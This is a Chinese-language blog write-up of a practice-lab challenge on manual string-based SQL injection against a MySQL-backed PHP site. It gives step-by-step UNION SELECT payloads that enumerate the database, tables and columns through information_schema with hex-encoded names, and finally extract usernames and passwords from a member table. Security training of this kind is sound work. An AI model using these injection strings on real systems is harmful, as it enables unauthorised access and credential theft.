SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路

靶环境:Nginx+PHP+MySQL
解题目标:手工进行SQL注入测试,获取管理密码登录。

解题思路:
寻找注入点:靶环境页面和上一篇一致,不在重复。

判断sql注入为字符型或整数型方法:https://blog.csdn.net/qq_30464257/article/details/84495884

根据注入的sql可判断出该sql为字符型注入
SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第1张图片仿照上篇步骤进行sql注入:

  1. 获取列表的字段数:
    SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第2张图片

  2. 判断回显位:
    SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第3张图片

  3. 获取数据库名:
    SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第4张图片数据库名:mozhe_discuz_stormgroup

  4. 获取表名:
    因为字符型sql注入的原因,需要将数据库名转为16进制:0x6d6f7a68655f64697363757a5f73746f726d67726f7570
    url?id=user’ union select 1,table_name,3,4 from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 limit 0,1 --+
    SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第5张图片表名:notice

  5. 获取字段名:

将表名转为16进制:0x6e6f74696365
url?id=user’ union select 1,column_name,3,4%20 from information_schema.columns where table_name=0x6e6f74696365 limit 1,1 --+
SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第6张图片获得字段名;id,title,content,time

很明显这并不我们需要的用户表,回到第4步,重新爆破表名,重复第5步,知道出现需要的表。

  1. 获取列中数据:
    url?id=user’ union select 1,name,password,4 from mozhe_discuz_stormgroup.stormgroup_member limit 1,1 --+SQL手工注入漏洞测试(MySQL数据库-字符型)解题思路_第7张图片解密密码登录,完成题目。

你可能感兴趣的:(web安全)